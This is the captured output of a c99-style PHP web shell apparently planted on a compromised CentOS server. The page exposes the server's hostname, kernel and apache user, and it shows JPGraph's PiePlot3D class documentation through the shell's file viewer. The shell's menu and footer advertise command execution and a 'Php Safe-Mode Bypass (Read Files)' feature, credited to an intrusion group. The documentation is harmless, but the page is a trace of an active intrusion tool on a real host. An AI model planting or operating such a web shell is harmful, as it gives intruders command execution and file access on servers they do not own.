Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: PiePlot3D.html (18.79 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CLASS PiePlot3D EXTENDS PiePlot
(Defined in: jpgraph_pie3d.php : 18)Class usage and Overview A 3D pie plot is much like a normal pie plot but in a 3D setting. You can control the apperance by specifying the angle of attack for the pie. A small angle show a very "flat" pie while a large angle shows almost a 2D pie.
Please note that a 3D pie is much more CPU intensive to draw then the normal pie. To reduce the time you might want to keep the height of the pie as small as you think looks good. The height has a direct linear impact on how long it takes to draw a 3D pie. (See SetHeight()).
To view a 3D pieplot you start by constructing a PieGraph() and then adding a numerb of constructed PiePlot3D to this graph.
See also related classes: PieGraph and PiePlot
Class Methods
Description This creates a new pie plot using the data supplied. This plot can then be added to the pie graph. Example $piegraph->Add($pieplot3d);
Description Specify projection angle for 3D in degrees. Must be between 10 and 80 degrees. A small angle will make the pie very flat and a large angle will make it present much more of pie circle. Example
Description Specify URL for each slice for the image map Example // Show the actual value in the alt text when user hovers the // cursor over the slice $alts = array('More details..(%.1f)', 'More details..(%.1f)', 'More details..(%.1f)' ); $pie->SetCSIMTargets($targets,$alts);
Description Specify if the slices should be separated by a line? If color is specified as "" no line will be used to separate pie slices.
Default is to not show any lines. Example
Description Specify thickness of 3D pie plot. To minimize CPU usuage you should try to keep the thickness to the visual accepatble minimum. Example
Description Specify the distance from the pie to the labels Example
Description Specify slice labels for 3D pies. Positoin specify the fraction of the radius wher the labels should be positoined. A values of 1 will position the labels outside the pie.
The labels may include an optional sprintf() formatting string. Before stroking the label to the graph it will be formatted with the actual value (absolute or percentage) depending on what has been specified with the SetLabelType() method.
See also PiePlot::SetLabelType
Example $p1->SetLabels(array("Jan\n%.1f%%","Feb\n%.1f%%","Mar\n%.1f%%","Apr\n%.1f%%"),1);
Description Set legends for slices Example
Description Specify color of the individual slices. If there are more slices than colors then the colors will wrap around. Example
Description Specify the start angle in degrees for the first slice in the Pie. Angles are counted counter-clockwise starting at "3'clock".
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0081 ]-- |